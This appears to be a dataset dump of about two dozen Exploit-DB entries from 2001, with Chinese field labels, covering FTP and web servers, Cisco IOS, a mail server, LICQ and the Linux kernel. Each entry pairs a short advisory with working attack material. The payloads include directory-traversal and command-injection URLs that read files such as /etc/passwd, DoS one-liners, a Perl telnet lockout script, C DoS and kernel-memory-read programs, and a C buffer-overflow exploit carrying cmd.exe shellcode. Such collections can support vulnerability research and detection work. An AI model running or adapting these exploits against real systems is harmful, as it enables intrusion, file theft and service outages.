QLWD/code_shield huggingface dataset:
标题: Netwin SurgeFTP 1.0b - Denial of Service EDB-ID: 20659 CVE: 2001-0697 类型: DOS 平台: MULTIPLE 发布日期: 2001-03-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/2442/info

SurgeFTP is a FTP Server distributed and maintained by Netwin. SurgeFTP is a configurable, easily maintained ftp server, functional on both the UNIX and Windows platforms.

A problem with the SurgeFTP program could allow a denial of service to legitimate users. This is due to the handling of malformed requests made by a client. It is possible to cause the server to cease functioning by logging in, and requesting a list of first the root directory, then a list of the directory above the root directory. Upon receiving the request, the ftp server resets connections, and ceases operating.

Therefore, it is possible for a malicious user to deny service to legitimate users by passing the predescribed request to the ftp server.

# ftp localhost
Connected to testbak
220 SurgeFTP testbak (Version 1.0b)
User (testbak:(none)): anonymous
331 Password required for anonymous.
Password:
230- Alias Real path Access
230- / /home read
230 User anonymous logged in.
200 Port command successful.
150 Opening ASCII mode data connection for file list. (/)
226 Transfer complete.
ftp> ls ..
200 Port command successful.
550 Opening ASCII mode data connection for file list. (/..)
-> ftp get:Connection reset by peer URL: https://www.exploit-db.com/exploits/20659
标题: WhitSoft SlimServe ftpd 1.0/2.0 - Directory Traversal EDB-ID: 20663 CVE: 2001-0454 类型: REMOTE 平台: WINDOWS 发布日期: 2001-02-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/2452/info

SlimServ FTPd is a free ftp server distributed and maintained by WhitSoft Development. SlimServe FTPd is designed to offer ftp services to the Microsoft Windows platform.

A problem with the SlimSoft FTP daemon allows remote users to traverse directories outside of the ftp root. Due to the insufficient checking of input, it is possible for a user to escape the ftp root directory by using relative paths. By requesting a directory change of "..." (three dots), it is possible to gain access to the root directory of the partition the ftp server is running on, and potentially gain access to sensitive system files.

Therefore, it is possible for a remote malicious user to gain access to sensitive system files, and potentially gain elevated privileges or privileged information.

% ftp localhost
Connected to xxxxxxxxxx.rh.rit.edu.
220-SlimServe FTPd 1.0 :: www.whitsoftdev.com.
220 127.0.0.1 connected to xxxxxxxxxx.rh.rit.edu.
User (xxxxxxxxxx.rh.rit.edu:(none)): anonymous
230 User anonymous logged in, proceed.
ftp> cd ...
250 CWD command successful.
ftp> get autoexec.bat
200 PORT command successful.
150 Opening data connection for "/.../autoexec.bat".
250 RETR command successful.
ftp: 383 bytes received in 0.16Seconds 2.39Kbytes/sec.
ftp> URL: https://www.exploit-db.com/exploits/20663
标题: Orange Software Orange Web Server 2.1 - Denial of Service EDB-ID: 20655 CVE: 2001-0647 类型: DOS 平台: WINDOWS 发布日期: 2001-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/2432/info

A remote user can cause a denial-of-service condition in Orange Software Orange Web Server.

The attacker could submit a specially crafted GET request via a telnet connection to cause the server to crash.

A restart of the server is required to gain normal functionality. 

echo "GET A" | telnet target URL: https://www.exploit-db.com/exploits/20655
标题: SunFTP 1.0 Build 9 - Unauthorized File Access EDB-ID: 20653 CVE: 2001-0283 类型: REMOTE 平台: WINDOWS 发布日期: 2001-03-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/2428/info

SunFTP is a freeware ftp server written by Rasmus J.P. Allenheim and associates for the Windows platform.

SunFTP contains a vulnerability that may allow ftp users to compromise the server. Users may be able to upload or retrieve files from outside the protected ftp-root directory.

This could allow, for example, users to place trojan horse programs on the system and gain control. 

Using this vulnerability to retrieve a file from outside the ftp-root (sunftptest.txt):

ftp> get ../sunftptest.txt
200 Port command successful.
150 Opening data connection for ../sunftptest.txt.
226 File sent ok

Using this vulnerability to place a file on the target filesystem outside the ftp-root (../autorun.bat):

ftp> put
Lokale Datei c:\test.txt
Remotedatei ../autorun.bat URL: https://www.exploit-db.com/exploits/20653
标题: Cisco IOS 11.x/12.0 - ILMI SNMP Community String EDB-ID: 20652 CVE: 2001-0711 类型: REMOTE 平台: HARDWARE 发布日期: 2001-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/2427/info

IOS is the operating system designed for various Cisco devices. It is maintained and distributed by Cisco systems.

A problem in the versions of IOS 11.x and 12.0 could allow unauthorized access to certain configuration variables within a Cisco device. The ILMI SNMP Community string allows read and write access to system objects in the MIB-II community group. These configuration parameters do not affect the normal operation of the device, although if changed, can cause confusion or lead to a social engineering attack.

It is possible for a malicious remote user to change configuration objects within the MIB-II Community, and rename the system, change the location name in the system, and/or the contact information for the system. This vulnerability affects only certain devices.

snmpwalk router ILMI |more URL: https://www.exploit-db.com/exploits/20652
标题: datawizards ftpxq 2.0.93 - Directory Traversal EDB-ID: 20651 CVE: 2001-0293 类型: LOCAL 平台: WINDOWS 发布日期: 2001-02-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/2426/info

FtpQX is a ftp daemon designed to provide ftp services for Microsoft Operating Systems. It is maintained and distributed by Datawizard Technologies.

A problem in the software could allow access to restricted resources. Due to insufficient input checking, it is possible to retrieve files outside of the ftp root directory. By preappending dots to a GET request, it is possible to traverse directories above the ftp root directory, and retrieve any known file.

This makes it possible for a malicious user with access to the ftp server to gain access to sensitive information, including password files stored on the server. 

ftp> cd ..
ftp> get ../../autoexec.bat URL: https://www.exploit-db.com/exploits/20651
标题: Sapio WebReflex 1.55 - GET Denial of Service EDB-ID: 20650 CVE: 2001-0298 类型: DOS 平台: WINDOWS 发布日期: 2001-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/2425/info

WebReflex is a software package designed to operate a HTTP server off a cdrom, providing web hosting on Microsoft Windows systems. It is written and maintained by Sapio Design Ltd.

A problem with the software could allow a denial of service to legitimate users. By issuing an excessively long HTTP GET request to the web server, the server becomes unstable and exits with a General Protection Fault. It may also be possible to execute arbitrary code, although this claim is unverified.

It is possible for a malicious remote user may take advantage of this vulnerability to deny service to legitimate users.

echo "GET " `perl -e 'print "A" x 666'` | telnet 192.168.0.20 80 URL: https://www.exploit-db.com/exploits/20650
标题: Working Resources BadBlue 1.2.7 - Denial of Service EDB-ID: 20641 CVE: 2001-0277 类型: DOS 平台: WINDOWS 发布日期: 2001-02-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/2392/info

It is possible for a remote user to cause a denial of service condition in Working Resources BadBlue.

Requesting a specially crafted URL composed of 284 or more bytes, will cause the server to crash.

A restart of the server is required in order to gain normal functionality. 

http://target/ext.dll?aaaaa(x 248 bytes) URL: https://www.exploit-db.com/exploits/20641
标题: APC WEB/SNMP Management Card (9606) Firmware 3.0 - Telnet Administration Denial of Service EDB-ID: 20654 CVE: 2001-0564 类型: DOS 平台: HARDWARE 发布日期: 2001-02-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/2430/info

Symmetra is an Uninterruptable Power Supply manufactured by American Power Conversation Corporation (APC). Symmetra supports network options that allow a remote administrator to access the system via telnet, and gather information from the power supply via SNMP.

A problem with the network software used with the Symmetra can allow a denial of service to the system, thus preventing administrative access. This problem is due to the handling of the telnet protocol by the firmware of the power supply. The system does not support more than one telnet session at a time, and when it encounters three failed login attempts, discontinues access for a configurable period between 1 and 10 minutes.

Therefore, it is possible for a malicious user to launch an remote attack against the telnet service of the power supply, and prevent administrative access to the power supply for the duration of the attack. This vulnerability may affect other APC UPS products as well. 

#!/usr/bin/perl
#altomo@nudehackers.com
#apc management card dos

$user = "blacksun";
$time = "$ARGV[1]";

use IO::Socket;
$ip = "$ARGV[0]";
$port = "23";
if ($#ARGV<0) {
print " useage: $0 <hostname> <delay in seconds>\n";
exit();
}
$socket = IO::Socket::INET->new(
Proto=>"tcp",
PeerAddr=>$ip,
PeerPort=>$port,);


print "Apc management card DoS\n";
print "altomo\@nudehackers.com\n";


sub dos() {
print "DoS started will attack every $time seconds\n";
print "Ctrl+C to exit\n";
print $socket "$user\r";
print $socket "$user\r";
print $socket "$user\r";
print $socket "$user\r";
print $socket "$user\r";
print $socket "$user\r";
print "\n";
close $socket;
sleep($time);          
&dos;

}
&dos;
#hong kong danger duo URL: https://www.exploit-db.com/exploits/20654
标题: Atrium Software Mercur Mail Server 3.3 - EXPN Buffer Overflow EDB-ID: 20647 CVE: 2001-0280 类型: REMOTE 平台: WINDOWS 发布日期: 2001-02-23 漏洞利用脚本: // source: https://www.securityfocus.com/bid/2412/info

Atrium Software Mercur Mail Server 3.3 contains an unchecked buffer for the EXPN command which may lead to a denial of service attack or execution of arbitrary code depending on the data entered.

If a remote attacker were to telnet to the SMTP server and enter an overly long string of random characters following the EXPN command, the remote target would crash. The execution of arbitrary code is possible if a carefully crafted string that overwrote the EIP was entered into the buffer. The attacker would be able to perform virtually any action on the remote system under the context of the LocalSystem account. 

/*
 MERCUR Mailserver 3.3 Remote Buffer Overflow
 Tested on Win2K AS SP1 with MERCUR SMTP-
Server v3.30.03
 Martin Rakhmanoff
 martin@direct.spb.ru
*/

#include <winsock2.h>
#include <stdio.h>

/* \x63\x6D\x64\x2E\x65\x78\x65 - simply 'cmd.exe' */
char shellcode[] =
 "\x8B\xC4\x83\xC0\x17\x50\xB8\x0E\xB5\xE9\x77
\xFF\xD0\x33\xDB\x53"
 "\xB8\x2D\xF3\xE8\x77\xFF\xD0\x63\x6D\x64
\x2E\x65\x78\x65\x0D\x0A";
/*
In SoftICE bpx 001b:00418b65 - here eip is restored
with overwritten
value...
*/

int main(int argc, char * argv[]){

 int i;
 char sploit[512];
 char buffer[512];

 WSADATA wsaData;
 SOCKET  sock;
 struct sockaddr_in server;
 struct hostent *hp;

 WSAStartup(0x202,&wsaData);
 hp = gethostbyname("arena");
 memset(&server,0,sizeof(server));
 memcpy(&(server.sin_addr),hp->h_addr,hp-
>h_length);
 server.sin_family = hp->h_addrtype;
 server.sin_port = htons(25);
 sock = socket(AF_INET,SOCK_STREAM,0);
 connect(sock,(struct sockaddr*)&server,sizeof
(server));

 sploit[0]='E';
 sploit[1]='X';
 sploit[2]='P';
 sploit[3]='N';
 sploit[4]=0x20;


 for(i=5;i<137;i++){
  sploit[i]=0x41;
 }

 // Return address
 //77E87D8B

 sploit[137]=0x8B;
 sploit[138]=0x89;
 sploit[139]=0xE8;
 sploit[140]=0x77;

 for(i=0;i<sizeof(shellcode);i++){
  sploit[i+141]=shellcode[i];
 }

 recv(sock,buffer,512,0);

 send(sock,sploit,173,0);

 closesocket(sock);
 WSACleanup();

 return 0;
} URL: https://www.exploit-db.com/exploits/20647
标题: LICQ 0.85/1.0.1/1.0.2 - Remote Buffer Overflow EDB-ID: 20646 CVE: 2001-0440 类型: REMOTE 平台: UNIX 发布日期: 2000-12-26 漏洞利用脚本: // source: https://www.securityfocus.com/bid/2406/info

At least one version of LICQ is vulnerable to a remote buffer overflow. By sending many characters (12000-16000) to the port on which LICQ is listening, an attacker can cause excessive data to be copied onto the stack and overwrite critical parts of the stack frame such as the calling functions' return address. Since this data is supplied by the user it can alter the program's flow of execution.

/*
 * Name: Licqkill.c
 * Author: Stan Bubrouski <stan@ccs.neu.edu>
 * Date: December 26, 2000
 * Description: Licq will crash when 16707 or more characters are sent to the port
 *              Licq is listening on.  Finding the port Licq is running on is pretty
 *              simple because by default it starts using ports around 1100 or so.  This
 *              has been tested against Licq v.85 and v1.0.2
 * Purpose: Proof-of-concept tool for the Licq Denial of Service vulnerability.
 */

#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

int main(int argc, char **argv)
{
 char buf[18000];
 int i, sock, result;
 struct sockaddr_in sin;
 struct hostent *hn;

 printf("licqkill.c - Licq remote DoS by Stan Bubrouski <stan@ccs.neu.edu>\n\n");

 if (argc < 3) 
 {
  fprintf(stderr, "Usage: %s <host> <port>\n", argv[0]);
  exit(-1);
 }

 hn = gethostbyname(argv[1]);

 if (!hn)
 {
  fprintf(stderr, "%s: host lookup failure\n", argv[1]);
  exit(-1);
 }

 sin.sin_family = AF_INET;
 sin.sin_port = htons(atoi(argv[2]));
 sin.sin_addr = *(struct in_addr *)hn->h_addr;
 sock = socket(AF_INET, SOCK_STREAM, 0);
 result = connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr_in));

 if (result != 0) 
 { 
  fprintf(stderr, "Failed to establish connection to %s\n", argv[1]);
  exit(-1);
 }
 
 if (sock < 0)
 {
  fprintf(stderr, "Socket error.");
  exit(-1);
 }

 for (i=0; i<18000; i++)
  strncat(buf, "A", 1);
 send(sock, buf, sizeof(buf), 0);
 close(sock);
 fprintf(stdout, "Data sent\n\n");
} URL: https://www.exploit-db.com/exploits/20646
标题: PALS Library System WebPALS 1.0 - 'pals-cgi' Arbitrary Command Execution EDB-ID: 20632 CVE: 2001-0216 类型: REMOTE 平台: CGI 发布日期: 2001-02-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/2372/info
 
A specially crafted URL composed of a known filename, will disclose the requested file residing on a machine running WebPALS. This vulnerability will also allow an attacker to execute arbitrary code with root privileges. 

http://target/pals-cgi?palsAction=restart&documentName=url_to_command URL: https://www.exploit-db.com/exploits/20632
标题: itafrica webactive 1.0 - Directory Traversal EDB-ID: 20637 CVE: 2001-0306 类型: REMOTE 平台: WINDOWS 发布日期: 2001-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/2386/info

It is possible for a remote user to gain read access to directories and files outside the root directory of ITAfrica WEBactive. Requesting a specially crafted URL composed of '../' sequences will disclose an arbitrary directory. 

http://target/../../../scandisk.log

^^ = Will obviously open the scandisk.log file. URL: https://www.exploit-db.com/exploits/20637
标题: Bajie WebServer 0.78/0.90 - Remote Command Execution EDB-ID: 20638 CVE: 2001-0308 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/2388/info

It is possible to execute arbitrary commands on a host running Bajie Webserver.

A remote user can use Bajie's built-in upload feature to place malicious scripts on Bajie webservers. These uploaded scripts are placed in known destination directories and can be automatically executed. Unfortunately Bajie's CGI processor doesn't verify the CGI program exists before executing the script.

Once these files are uploaded, they can be then executed as CGI scripts on the server. 

Upload the malicious script via:

http://target/upload.html

Execute it via:

http://target/cgi/bin//...//upload/[file name] URL: https://www.exploit-db.com/exploits/20638
标题: caucho Technology resin 1.2 - Directory Traversal EDB-ID: 20635 CVE: 2001-0304 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/2384/info

It is possible for a remote user to gain read access to directories and files outside the root directory of a machine running Resin. Requesting a specially crafted URL composed of '/..' or '/...' sequences will disclose an arbitrary directory.

http://target/\../readme.txt URL: https://www.exploit-db.com/exploits/20635
标题: Brightstation Muscat 1.0 - Full Path Disclosure EDB-ID: 20633 CVE: 2001-0224 类型: REMOTE 平台: CGI 发布日期: 2001-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/2374/info

Making an invalid request to a machine running Brightstation Muscat, will disclose the physical path to the root directory. 

http://target/cgi-bin/empower?DB=UkRteamHole
http://target/cgi-bin/empower?DB=UkRteamHole URL: https://www.exploit-db.com/exploits/20633
标题: his software auktion 1.62 - Directory Traversal EDB-ID: 20628 CVE: 2001-0212 类型: REMOTE 平台: WINDOWS 发布日期: 2001-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/2367/info

A remote user could gain read access to known files outside of the root directory where HIS Software Auktion 1.62 resides. Requesting a specially crafted URL composed of '../' sequences along with the known filename will disclose the requested file. This vulnerability could also lead to the execution of arbitrary code. 

http://target/cgi-bin/auktion.pl menue=../../../../../../../../../../../../../bin/pwd

http://target/cgi-bin/auktion.pl menue=../../../../../../../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/20628
标题: PALS Library System WebPALS 1.0 - pals-cgi Traversal Arbitrary File Read EDB-ID: 20631 CVE: 2001-0217 类型: REMOTE 平台: CGI 发布日期: 2001-02-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/2372/info

A specially crafted URL composed of a known filename, will disclose the requested file residing on a machine running WebPALS. This vulnerability will also allow an attacker to execute arbitrary code with root privileges. 


http://target/cgi-bin/pals-cgi?palsAction=restart&documentName=url_to_file URL: https://www.exploit-db.com/exploits/20631
标题: Martin Hamilton ROADS 2.3 - File Disclosure EDB-ID: 20630 CVE: 2001-0215 类型: REMOTE 平台: CGI 发布日期: 2001-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/2371/info

A remote user could gain read access to known files outside of the root directory where Martin Hamilton ROADS resides. Requesting a specially crafted URL composed of '%00' sequences along with the known filename will disclose the requested file. 

http://target/ROADS/cgi-bin/search.pl?form=url_to_any_file%00 URL: https://www.exploit-db.com/exploits/20630
标题: Working Resources BadBlue 1.2.7 - Full Path Disclosure EDB-ID: 20640 CVE: 2001-0276 类型: REMOTE 平台: WINDOWS 发布日期: 2001-02-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/2390/info

Requesting a specially crafted URL to a machine running Working Resources BadBlue, will disclose the physical path to the root directory. 

http://target/ext.dll

will result in:

[Error: opening c:\program files\badblue\pe\default.htx (2)] URL: https://www.exploit-db.com/exploits/20640
标题: Linux Kernel 2.2.x - 'sysctl()' Memory Reading EDB-ID: 20626 CVE: 2001-0316 类型: LOCAL 平台: LINUX 发布日期: 2001-02-09 漏洞利用脚本: /* 
source: https://www.securityfocus.com/bid/2364/info

The Linux Kernel is the core of the Linux Operating System. It was originally written by Linus Torvalds, and is publicly maintained.

A problem in the Linux kernel may allow root compromise. The sysctl() call allows a privileged program to read or write kernel parameters. It is possible for underprivileged programs to use this system call to query values within the kernel. The system call accepts signed values, which could allow supplied negative values to reach below the threshold memory address set for system security.

This makes it possible for a user with malicious motives to browse kernel space addresses, and potentially gain elevated privileges, including administrative access.
*/

/* sysctl_exp.c - Chris Evans - February 9, 2001 */

/* Excuse the lack of error checking */
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>
#include <linux/unistd.h>
#include <linux/sysctl.h>
_syscall1(int, _sysctl, struct __sysctl_args *, args);

#define BUFLEN 1000000

int
main(int argc, const char* argv[])
{
  struct __sysctl_args args_of_great_doom;

  int names[2] = { CTL_KERN, KERN_NODENAME };
  /* Minus 2 billion - somewhere close to biggest negative int */
  int dodgy_len = -2000000000;
  int fd;
  char* p_buf;

  fd = open("/dev/zero", O_RDWR);
  p_buf = mmap((void*)8192, BUFLEN, PROT_READ | PROT_WRITE,
               MAP_FIXED | MAP_PRIVATE, fd, 0);

  memset(p_buf, '\0', BUFLEN);
  fd = open("before", O_CREAT | O_TRUNC | O_WRONLY, 0777);
  write(fd, p_buf, BUFLEN);

  args_of_great_doom.name = names;
  args_of_great_doom.nlen = 2;
  args_of_great_doom.oldval = p_buf;
  args_of_great_doom.oldlenp = &dodgy_len;
  args_of_great_doom.newval = 0;
  args_of_great_doom.newlen = 0;

  _sysctl(&args_of_great_doom);

  fd = open("after", O_CREAT | O_TRUNC | O_WRONLY, 0777);
  write(fd, p_buf, BUFLEN);
} URL: https://www.exploit-db.com/exploits/20626
标题: thinking arts es.one 1.0 - Directory Traversal EDB-ID: 20636 CVE: 2001-0305 类型: REMOTE 平台: LINUX 发布日期: 2001-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/2385/info

It is possible for a remote user to gain read access to directories and files outside the root directory of ES.One. Requesting a specially crafted URL by way of 'store.cgi', composed of '/../' sequences and appended with '%00' will disclose an arbitrary directory. 

http://target/cgi-bin/store.cgi?StartID=../etc/hosts%00.html

^^ = Will obviously open the hosts file.

http://target/cgi-bin/store.cgi?StartID=../etc/%00.html

^^ = Will obviously list the /etc/ directory. URL: https://www.exploit-db.com/exploits/20636
标题: John Roy Pi3Web 1.0.1 - Buffer Overflow EDB-ID: 20634 CVE: 2001-0302 类型: DOS 平台: WINDOWS 发布日期: 2001-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/2381/info


A buffer overflow vulnerability has been reported in John Roy Pi3Web web server. The ISAPI application within the server fails to properly handle user supplied input. Requesting a specially crafted URL will cause the buffer to overflow and possibly allow the execution of arbitrary code.

Pi3Web has also been known to disclose the physical path to the web root by requesting an invalid URL. 

http://target/isapi/tstisapi.dll?[a lot of 'A's]

http://localhost/[any string which causes a 404 error] URL: https://www.exploit-db.com/exploits/20634
标题: Way-Board 2.0 - File Disclosure EDB-ID: 20629 CVE: 2001-0214 类型: REMOTE 平台: CGI 发布日期: 2001-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/2370/info

A remote user could gain read access to known files outside of the root directory where Way-Board resides. Requesting a specially crafted URL composed of '%00' sequences along with the known filename will disclose the requested file. 

http://target/way-board/way-board.cgi?db=url_to_any_file%00 URL: https://www.exploit-db.com/exploits/20629
标题: Bajie 0.78 - Arbitrary Shell Command Execution EDB-ID: 20639 CVE: 2001-0307 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/2389/info

Requesting a specailly crafted URL containg arbitrary code, can be exected on a Unix system running Bajie Webserver. Any arbitrary commands appended to a malicious URL after the ';' will be executed as an independent job. 

http://target/bin/test.txt;%20[shell command] URL: https://www.exploit-db.com/exploits/20639